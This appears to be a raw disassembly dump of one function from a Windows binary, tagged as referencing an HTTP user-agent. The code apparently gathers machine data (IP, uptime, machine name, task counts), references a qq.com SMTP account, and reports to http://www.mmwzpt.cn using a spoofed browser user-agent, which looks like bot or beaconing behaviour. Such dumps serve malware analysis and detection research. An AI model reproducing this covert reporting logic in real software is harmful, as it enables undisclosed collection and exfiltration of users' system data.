Function at 0x406571
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.00433ceb
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x524ff1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
push 8
call fcn.00433ceb
add esp, 4
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, 0x524ff1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 8
call fcn.00433ceb
add esp, 4
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, 0x524ff1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
push 8
call fcn.00433ceb
add esp, 4
mov dword [ebp - 0x68], eax
mov edi, eax
mov esi, 0x524ff1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
call fcn.0040b494
cmp dword [0x5ffc80], 1
jne 0x4066d8
mov eax, dword [0x5ffc68]
test eax, eax
je 0x4066be
push eax
mov ebx, eax
call fcn.00401004
inc eax
push eax
call fcn.00433ceb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4066cf
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x406709
push 0xffffffffffffffff
push 8
push 0x16019854
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x406705
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x524f4e
push dword [ebp - 4]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x40675f
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.0040b4ad
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406747
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40675b
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [0x5ffc74], 3
jg 0x406781
mov eax, dword [0x5ffc7c]
cmp dword [0x5ffc74], eax
jne 0x406781
xor eax, eax
jmp 0x406786
mov eax, 1
test eax, eax
je 0x4069fc
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.397520397520
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.smtp.qq.com
push 5
mov eax, 2
mov ebx, 0x49c5a0
call fcn.00433cf7
add esp, 0x40
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x52526f
push dword [ebp - 0x74]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406816
push ebx
call fcn.00433cf1
add esp, 4
push 0x80000301
push 0
push dword [0x5ffc74]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000301
push 0
push dword [0x5ffc7c]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x80], eax
push 0xffffffffffffffff
push 8
push 0x16019859
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x84], eax
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [0x5ffc84]
push 0x525291
push dword [ebp - 0x80]
push 0x52529c
push dword [ebp - 0x7c]
push 0x5252bc
push dword [ebp - 0x8c]
push 0x5252d8
push dword [ebp - 0x88]
push 0x5252f4
push dword [ebp - 0x84]
push 0x525304
mov ecx, 0xc
call fcn.0040106f
add esp, 0x30
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x406910
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x406923
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x406936
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x406946
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x406956
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x406994
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4069a8
mov eax, 0x524f4e
push eax
push 7
mov eax, 2
mov ebx, 0x49c610
call fcn.00433cf7
add esp, 0x58
mov ebx, eax
test ebx, ebx
je 0x4069cf
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4069df
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4069f2
push ebx
call fcn.00433cf1
add esp, 4
push 0
call fcn.00433d03
add esp, 4
cmp dword [0x5ffc88], 0
jle 0x406add
fild dword [0x5ffc88]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5ffc74]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401460
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [0x5ffc8c]
push 1
mov ebx, 0x434d80
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fmul qword [0x525314]
fstp qword [ebp - 0x84]
fild dword [ebp - 8]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fsub qword [ebp - 0x84]
fcomp qword [0x52531c]
fnstsw ax
test ah, 0x41
jne 0x406ad8
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525208
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x525324
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
push 0
call fcn.00433d03
add esp, 4
jmp 0x406ae5
mov eax, dword [0x5ffc74]
mov dword [ebp - 8], eax
cmp dword [0x5ffc90], 1
jne 0x406b68
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
call fcn.0040eac3
mov dword [ebp - 0x78], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x406b25
mov eax, 0x524f4e
push eax
push 2
mov ebx, 0x4345e0
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x406b4b
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x7c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x406b5f
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x406ba2
call fcn.0040eeab
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x406b9e
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [0x5ffc94], 1
jne 0x407385
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zxgh.asp_Actionzxtasknamesojump533_dst
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040b715
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x406c82
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x406c95
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x406ca8
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x406cbb
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x406cce
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x406ce1
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x406cf1
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x406d01
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x406d17
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x406d43
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x406d5a
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52538a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52538c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
push 0x5ffc98
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x406dae
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x406dbe
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x406dd5
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x406dec
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x52539a
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, str.B_
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.0040caaf
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406e57
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x406e6a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x406e7a
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406e91
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x406eb4
mov eax, 0x524f4e
push eax
push 2
mov ebx, 0x434620
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x74], eax
push 0x5253a3
push dword [ebp - 0x74]
call fcn.004021d4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406ef8
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x406f9a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x406f15
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x4342b0
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x525003]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x406f66
mov eax, 0x524f4e
push eax
push 2
mov ebx, 0x4345e0
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406f96
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x5253a3
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040fb81
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406fc3
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x1c]
call fcn.0040237c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x406fe1
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434b20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
fild dword [ebp - 0x74]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fsub qword [ebp - 0x7c]
fcomp qword [0x5253a5]
fnstsw ax
test ah, 1
jne 0x4070b8
mov ebx, dword [ebp - 0x1c]
call fcn.00402395
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.0040237c
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x434560
call fcn.00433ce5
add esp, 0x1c
dec eax
jns 0x407065
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x407078
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebx]
test eax, eax
je 0x40709e
push eax
mov ebx, eax
call fcn.00401004
inc eax
push eax
call fcn.00433ceb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4070af
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x4070d8
call fcn.0040ff17
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4070d4
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0
push dword [ebp - 0x20]
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433d09
add esp, 0x18
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5ffc78]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x436480
call fcn.00433ce5
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0041042d
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [ebp - 0xc]
push 0x5253ad
push dword [0x5ffc84]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x8c]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamesojump533_dstSuccNums
push dword [ebp - 0x20]
push str.Idname
mov ecx, 0x10
call fcn.0040106f
add esp, 0x40
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x407200
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x407210
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x407223
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x407236
push ebx
call fcn.00433cf1
add esp, 4
mov eax, str.scjm
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
mov eax, str.7D7D6460627A3E1D6B454
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
call fcn.00412437
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x407278
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40728b
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x4072a7
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x525423
push 3
mov eax, 8
mov ebx, 0x4c2020
call fcn.00433cf7
add esp, 0x28
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4072e4
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4072fa
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x407326
push ebx
call fcn.00433cf1
add esp, 4
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00413353
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x407352
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x407365
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40737c
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
jmp 0x407644
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5ffc78]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x436480
call fcn.00433ce5
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0041042d
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x8c], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x90], eax
push dword [ebp - 0xc]
push 0x5253ad
push dword [0x5ffc84]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x90]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamesojump533_dstSuccNums
push dword [ebp - 0x8c]
push str.Idname
mov ecx, 0x10
call fcn.0040106f
add esp, 0x40
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4074b4
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4074c4
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4074d4
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4074e7
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4074fa
push ebx
call fcn.00433cf1
add esp, 4
mov eax, str.scjm
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
mov eax, str.7D7D6460627A3E1D6B454
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00412437
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x40753c
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x40754f
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x40756b
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x525423
push 3
mov eax, 8
mov ebx, 0x4c2020
call fcn.00433cf7
add esp, 0x28
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4075a8
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x4075be
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4075ea
push ebx
call fcn.00433cf1
add esp, 4
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00413353
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x407616
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x407629
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xac]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x407640
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x52543b
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.0040b715
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40771a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40772d
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x407740
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x407753
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x407766
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x407779
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x407789
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x407799
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x4077af
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4077db
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4077f2
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x407827
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x407a8f
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x524ff9
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x407896
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4078a6
push ebx
call fcn.00433cf1
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4078d7
push ebx
call fcn.00433cf1
add esp, 4
push 1
push 8
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
push dword [ebp - 0x94]
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
push 1
